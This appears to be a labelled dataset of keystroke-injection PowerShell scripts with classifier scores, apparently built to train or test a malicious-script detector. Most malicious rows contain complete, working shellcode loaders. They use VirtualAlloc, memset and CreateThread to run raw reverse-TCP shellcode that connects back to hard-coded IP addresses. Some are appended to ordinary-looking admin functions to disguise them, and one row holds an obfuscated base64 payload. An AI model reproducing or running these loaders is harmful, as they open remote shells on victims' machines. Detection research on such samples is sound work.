0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x44,0x80,0x68,0x02,0x00,0x1f,0x99,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r enter powershell enter enter enter param ( enter [Parameter(Mandatory)] enter [string[]]$Client, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$InstallerFilePath enter ) enter enter foreach ($c in $Client) { enter try { enter enter $clientMsg = ""The client [$($c)] "" enter if (-not (Test-Connection -ComputerName $c -Quiet -Count 1)) { enter throw ""$clientMsg cannot be pinged"" enter } elseif (-not (Test-Path ""\\$c\c$"")) { enter throw ""$clientMsg 's admin share is unavailable"" enter } else { enter Write-Verbose -Message ""$clientMsg is ready to go!"" enter } enter Write-Verbose -Message ""Copying installer to client..."" enter Copy-Item -Path $InstallerFilePath -Destination ""\\$c\c$"" enter Write-Verbose -Message ""Installing software on client..."" enter Invoke-Command -ComputerName $c -ScriptBlock { enter $installerFileName = $using:InstallerFilePath | Split-Path -Leaf enter Start-Process -NoNewWindow -Wait -FilePath ""C:\$installerFileName"" -ArgumentList '/silent /norestart' enter Remove-Item -Path ""C:\$installerFileName"" -Recurse enter } enter } catch { enter Write-Error -Message $_.Exception.Message enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd7,0xbf,0x4c,0x85,0x54,0x4e,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x57,0x83,0xc2,0x04,0x31,0x7a,0x13,0x03,0x36,0x96,0xb6,0xbb,0x3a,0x70,0xb4,0x44,0xc2,0x81,0xd9,0xcd,0x27,0xb0,0xd9,0xaa,0x2c,0xe3,0xe9,0xb9,0x60,0x08,0x81,0xec,0x90,0x9b,0xe7,0x38,0x97,0x2c,0x4d,0x1f,0x96,0xad,0xfe,0x63,0xb9,0x2d,0xfd,0xb7,0x19,0x0f,0xce,0xc5,0x58,0x48,0x33,0x27,0x08,0x01,0x3f,0x9a,0xbc,0x26,0x75,0x27,0x37,0x74,0x9b,0x2f,0xa4,0xcd,0x9a,0x1e,0x7b,0x45,0xc5,0x80,0x7a,0x8a,0x7d,0x89,0x64,0xcf,0xb8,0x43,0x1f,0x3b,0x36,0x52,0xc9,0x75,0xb7,0xf9,0x34,0xba,0x4a,0x03,0x71,0x7d,0xb5,0x76,0x8b,0x7d,0x48,0x81,0x48,0xff,0x96,0x04,0x4a,0xa7,0x5d,0xbe,0xb6,0x59,0xb1,0x59,0x3d,0x55,0x7e,0x2d,0x19,0x7a,0x81,0xe2,0x12,0x86,0x0a,0x05,0xf4,0x0e,0x48,0x22,0xd0,0x4b,0x0a,0x4b,0x41,0x36,0xfd,0x74,0x91,0x99,0xa2,0xd0,0xda,0x34,0xb6,0x68,0x81,0x50,0x26,0x16,0x4d,0xa1,0xde,0xaf,0xc4,0xcf,0x77,0x04,0x7e,0x5c,0xff,0x82,0x79,0xa3,0x2a,0xfb,0x5e,0x08,0x86,0xaf,0x33,0xfc,0x40,0x6a,0xe5,0x7b,0x36,0x75,0xdc,0x2f,0x6b,0xe0,0xdd,0x9c,0xd8,0x9c,0x5a,0x23,0xdf,0x5c,0x74,0xa8,0xdf,0x5c,0x84,0x9e,0x9a,0x69,0xb3,0x87,0x60,0x92,0xeb,0x2f,0x3e,0x1b,0x94,0x76,0x3f,0xce,0x23,0xb0,0x93,0x99,0x33,0x0f,0xf4,0xde,0x60,0x3c,0xa7,0x89,0xd5,0x94,0x2f,0xdd,0x8c,0x36,0x8b,0xde,0xfb,0xd1,0x81,0x2a,0x5c,0xb6,0xd5,0x18,0x62,0x46,0x5f,0xbe,0x08,0x42,0x0f,0x55,0xd3,0x1c,0xc7,0xdc,0xad,0x3e,0x91,0xe0,0xe4,0x6c,0xcd,0x4d,0x55,0xc5,0x99,0x5c,0x5f,0xf1,0x22,0x60,0x8a,0x84,0x15,0xeb,0x3e,0xc8,0xe0,0xcd,0x56,0x26,0xbf,0x4c,0xf0,0x39,0x15,0xfa,0xbc,0xad,0x96,0xeb,0x3c,0x2e,0xff,0x0b,0x3c,0x6e,0xff,0x58,0x54,0x36,0x5b,0x0d,0x41,0x39,0x76,0x21,0xda,0x95,0xf0,0xa1,0x8b,0x71,0x03,0x0e,0x33,0x82,0x50,0x18,0x5b,0x90,0xc0,0x2d,0x79,0x6b,0x39,0xa8,0xbd,0xe0,0x0f,0x38,0x3a,0x08,0x53,0xba,0x84,0x7f,0xb6,0x9d,0xc7,0xdf,0xd0,0x6b,0x38,0x20,0xdf,0xa5,0xff,0xed,0x0e,0xf7,0xc9,0x29,0x61,0xc6,0x1b,0x7b,0x4c,0x28;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1689607e-05,0.99994826
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_3j6w6dja"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_manual.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.439985e-05
[ B y t e [ ] ] $ c = [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 enter 4 S t r i n g ( ' A X Q B I G Z p X F E x M V R p a 0 d r Z U B S H 1 x i Z m 1 enter l Q C V c Z G V s a V Z p W G 0 b A A E g I C B U W 2 B m T V I f F y B U a W t enter H a 2 V A U h 8 3 F 1 x n c G t W X G t Y X l x j X F t W a 1 x e V l p l b F 0 enter f F y N p X F 1 d b F l W a V h t G x 9 p X G t l Y G Z H Z W Z g a 1 p l b D 1 enter p Z j 1 c a 1 h e X G N c O 2 t c P j E x V G N Y X 2 p p W E Q l a l x a Y G 1 enter p X E p n Z m l c a 2 V A J V x k Y G t l b E k l Z F x r a n B K U h c 0 F 1 x enter k Z W x p V m l Y b R s A A Q E g X 2 t e Z V x j J V x b Z l p W a V h t G x c enter j a V x d X W x Z V m l Y b R s X I y c X I 1 x b Z l p W a V h t G x 9 w Z 2 Y enter 6 M T F U Y 1 h f a m l Y R C V q X F p g b W l c S m d m a V x r Z U A l X G R enter g a 2 V s S S V k X G t q c E p S A A E g J y t v J x c j J y c n K m 8 n F y N enter f a 1 5 l X E M l X enter,1,1,6.290539e-05,0.99993706
"win+r powershell enter $jsonFileName = ""gherkin-languages.json"" $url = ""https://raw.githubusercontent.c enter om/cucumber/cucumber/master/gherkin/$jsonFileName"" $localFileName = ""lib/Gherkin enter /$jsonFileName"" try { Invoke-WebRequest -Uri $url -OutFile $localFileName Writ enter e-Output ""JSON file stored to $localFileName"" } catch { Write-Warning ""Could enter not get $url`n$($_.Exception)"" } enter enter",0,1,0.0041321665,0.99586785
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_kxr38fju"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_100.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4133267e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xb9,0x61,0xd2,0xa4,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_dwdlup9e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name cryptsvc,bits -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_update_related.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter",0,0,0.9999658,3.418076e-05
"win+r enter powershell enter enter enter  enter function Get-RsSubscription enter { enter [cmdletbinding()] enter param enter ( enter [Alias('Path')] enter [Parameter(Mandatory = $True, ValueFromPipeline = $true)] enter [string[]] enter $RsItem, enter enter [string] enter $ReportServerUri, enter enter [ValidateSet('2005','2006','2010')] enter [string] enter $ApiVersion = '2010', enter enter [System.Management.Automation.PSCredential] enter $Credential, enter enter $Proxy enter ) enter Begin enter { enter $Proxy = New-RsWebServiceProxyHelper -BoundParameters $PSBoundParameters enter } enter Process enter { enter foreach ($item in $RsItem) enter { enter try enter { enter Write-Verbose ""Retrieving subscriptions contents..."" enter enter if ($Proxy.Url -match 'ReportService2005.asmx') enter { enter if ($item -eq '/') { $item = $null } enter $subscriptions = $Proxy.ListSubscriptions($Item,$null) enter } enter else enter { enter $subscriptions = $Proxy.ListSubscriptions($Item) enter } enter enter Write-Verbose ""Subscriptions retrieved successfully!"" enter enter $namespace = $proxy.GetType().Namespace enter $DataRetrievalPlanDataType = ""$namespace.DataRetrievalPlan"" enter $ExtensionSettingsDataType = ""$namespace.ExtensionSettings"" enter $ActiveStateDataType = ""$namespace.ActiveState"" enter enter foreach ($subscription in $subscriptions) enter { enter $extSettings = $null enter $DataRetrievalPlan = $null enter $desc = $null enter $active = $null enter $status = $null enter $eventType = $null enter $matchData = $null enter $values = $null enter $Result = $null enter enter try enter { enter Write-Verbose ""Retrieving subscription properties for $($subscription.SubscriptionID)..."" enter enter if ($subscription.IsDataDriven) enter { enter $null = $Proxy.GetDataDrivenSubscriptionProperties($subscription.SubscriptionID, [ref]$extSettings, [ref]$DataRetrievalPlan, [ref]$desc, [ref]$active, [ref]$status, [ref]$eventType, [ref]$matchData, [ref]$values) enter } enter else enter { enter $null = $Proxy.GetSubscriptionProperties($subscription.SubscriptionID, [ref]$extSettings, [ref]$desc, [ref]$active, [ref]$status, [ref]$eventType, [ref]$matchData, [ref]$values) enter } enter enter Write-Verbose ""Subscription properties for $($subscription.SubscriptionID) retrieved successfully!"" enter $ExtensionSettings = New-Object $ExtensionSettingsDataType enter $ExtensionSettings.Extension = $subscription.DeliverySettings.Extension enter $ExtensionSettings.ParameterValues = $subscription.DeliverySettings.ParameterValues enter $ActiveState = New-Object $ActiveStateDataType enter $ActiveState.DeliveryExtensionRemoved = $subscription.Active.DeliveryExtensionRemoved enter $ActiveState.DeliveryExtensionRemovedSpecified = $subscription.Active.DeliveryExtensionRemovedSpecified enter $ActiveState.SharedDataSourceRemoved = $subscription.Active.SharedDataSourceRemoved enter $ActiveState.SharedDataSourceRemovedSpecified = $subscription.Active.SharedDataSourceRemovedSpecified enter $ActiveState.MissingParameterValue = $subscription.Active.MissingParameterValue enter $ActiveState.MissingParameterValueSpecified = $subscription.Active.MissingParameterValueSpecified enter $ActiveState.InvalidParameterValue = $subscription.Active.InvalidParameterValue enter $ActiveState.InvalidParameterValueSpecified = $subscription.Active.InvalidParameterValueSpecified enter $ActiveState.UnknownReportParameter = $subscription.Active.UnknownReportParameter enter $ActiveState.UnknownReportParameterSpecified = $subscription.Active.UnknownReportParameterSpecified enter enter $Result = @{ enter SubscriptionID = $subscription.SubscriptionID enter Owner = $subscription.Owner enter Path = $subscription.Path enter VirtualPath = $subscription.VirtualPath enter Report = $subscription.Report enter DeliverySettings = $ExtensionSettings enter Description = $subscription.Description enter Status = $subscription.Status enter Active = $ActiveState enter LastExecuted = $subscription.LastExecuted enter LastExecutedSpecified = $subscription.LastExecutedSpecified enter ModifiedBy = $subscription.ModifiedBy enter ModifiedDate = $subscription.ModifiedDate enter EventType = $subscription.EventType enter IsDataDriven = $subscription.IsDataDriven enter MatchData = $matchData enter Values = $values enter } enter enter if ($subscription.IsDataDriven) enter { enter $Result.Add('DataRetrievalPlan',$DataRetrievalPlan) enter } enter enter [pscustomobject]$Result enter } enter catch enter { enter Write-Error (New-Object System.Exception(""Exception while retrieving subscription properties! $($_.Exception.Message)"", $_.Exception)) enter Write-Verbose ($subscription | format-list | out-string) enter } enter } enter } enter catch enter { enter throw (New-Object System.Exception(""Exception while retrieving subscription(s)! $($_.Exception.Message)"", $_.Exception)) enter } enter } enter } enter } enter enter $f1ec = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $f1ec -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc3,0xd9,0x74,0x24,0xf4,0xbb,0x3b,0x3c,0x11,0x3c,0x58,0x29,0xc9,0xb1,0x47,0x83,0xc0,0x04,0x31,0x58,0x14,0x03,0x58,0x2f,0xde,0xe4,0xc0,0xa7,0x9c,0x07,0x39,0x37,0xc1,0x8e,0xdc,0x06,0xc1,0xf5,0x95,0x38,0xf1,0x7e,0xfb,0xb4,0x7a,0xd2,0xe8,0x4f,0x0e,0xfb,0x1f,0xf8,0xa5,0xdd,0x2e,0xf9,0x96,0x1e,0x30,0x79,0xe5,0x72,0x92,0x40,0x26,0x87,0xd3,0x85,0x5b,0x6a,0x81,0x5e,0x17,0xd9,0x36,0xeb,0x6d,0xe2,0xbd,0xa7,0x60,0x62,0x21,0x7f,0x82,0x43,0xf4,0xf4,0xdd,0x43,0xf6,0xd9,0x55,0xca,0xe0,0x3e,0x53,0x84,0x9b,0xf4,0x2f,0x17,0x4a,0xc5,0xd0,0xb4,0xb3,0xea,0x22,0xc4,0xf4,0xcc,0xdc,0xb3,0x0c,0x2f,0x60,0xc4,0xca,0x52,0xbe,0x41,0xc9,0xf4,0x35,0xf1,0x35,0x05,0x99,0x64,0xbd,0x09,0x56,0xe2,0x99,0x0d,0x69,0x27,0x92,0x29,0xe2,0xc6,0x75,0xb8,0xb0,0xec,0x51,0xe1,0x63,0x8c,0xc0,0x4f,0xc5,0xb1,0x13,0x30,0xba,0x17,0x5f,0xdc,0xaf,0x25,0x02,0x88,0x1c,0x04,0xbd,0x48,0x0b,0x1f,0xce,0x7a,0x94,0x8b,0x58,0x36,0x5d,0x12,0x9e,0x39,0x74,0xe2,0x30,0xc4,0x77,0x13,0x18,0x02,0x23,0x43,0x32,0xa3,0x4c,0x08,0xc2,0x4c,0x99,0xa5,0xc7,0xda,0x6d,0xbb,0x14,0x0c,0x1a,0xb9,0xa4,0x21,0x86,0x34,0x42,0x11,0x66,0x17,0xdb,0xd1,0xd6,0xd7,0x8b,0xb9,0x3c,0xd8,0xf4,0xd9,0x3e,0x32,0x9d,0x73,0xd1,0xeb,0xf5,0xeb,0x48,0xb6,0x8e,0x8a,0x95,0x6c,0xeb,0x8c,0x1e,0x83,0x0b,0x42,0xd7,0xee,0x1f,0x32,0x17,0xa5,0x42,0x94,0x28,0x13,0xe8,0x18,0xbd,0x98,0xbb,0x4f,0x29,0xa3,0x9a,0xa7,0xf6,0x5c,0xc9,0xbc,0x3f,0xc9,0xb2,0xaa,0x3f,0x1d,0x33,0x2a,0x16,0x77,0x33,0x42,0xce,0x23,0x60,0x77,0x11,0xfe,0x14,0x24,0x84,0x01,0x4d,0x99,0x0f,0x6a,0x73,0xc4,0x78,0x35,0x8c,0x23,0x79,0x09,0x5b,0x0d,0x0f,0x63,0x5f;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Bto=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Bto.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Bto,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.198339e-05,0.999948
"win+r powershell enter  [CmdletBinding()] param( [Parameter(Mandatory=$true)] [string] $GitHubAu enter thToken, [Parameter(Mandatory=$true)] [string] enter enter",1,1,0.00063924195,0.99936074
"win+r enter powershell enter enter enter function Revoke-CPermission enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Path, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $Identity enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $Path = Resolve-Path -Path $Path enter if( -not $Path ) enter { enter return enter } enter enter $providerName = Get-CPathProvider -Path $Path | Select-Object -ExpandProperty 'Name' enter if( $providerName -eq 'Certificate' ) enter { enter $providerName = 'CryptoKey' enter } enter enter $rulesToRemove = Get-CPermission -Path $Path -Identity $Identity enter if( $rulesToRemove ) enter { enter $Identity = Resolve-CIdentityName -Name $Identity enter $rulesToRemove | ForEach-Object { Write-Verbose ('[{0}] [{1}] {2} -> ' -f $Path,$Identity,$_.""$($providerName)Rights"") } enter enter Get-Item $Path -Force | enter ForEach-Object { enter if( $_.PSProvider.Name -eq 'Certificate' ) enter { enter [Security.Cryptography.X509Certificates.X509Certificate2]$certificate = $_ enter enter [Security.AccessControl.CryptoKeySecurity]$keySecurity = $certificate.PrivateKey.CspKeyContainerInfo.CryptoKeySecurity enter enter $rulesToRemove | ForEach-Object { [void] $keySecurity.RemoveAccessRule($_) } enter enter Set-CryptoKeySecurity -Certificate $certificate -CryptoKeySecurity $keySecurity -Action ('revoke {0}''s permissions' -f $Identity) enter } enter else enter { enter $currentAcl = $_.GetAccessControl('Access') enter $rulesToRemove | ForEach-Object { [void]$currentAcl.RemoveAccessRule($_) } enter if( $PSCmdlet.ShouldProcess( $Path, ('revoke {0}''s permissions' -f $Identity)) ) enter { enter Set-Acl -Path $Path -AclObject $currentAcl enter } enter } enter } enter enter } enter enter } enter enter",0,0,0.999884,0.0001159671
"win+r enter powershell enter enter enter function Assert-LastProcessFailed enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter [string] enter enter $Message enter ) enter enter Set-StrictMode -Version 'Latest' enter enter if( $LastExitCode -eq 0 ) enter { enter Fail ""Expected process to fail, but it succeeded (exit code: $LastExitCode). $Message"" enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x4b,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1681178e-05,0.99994826
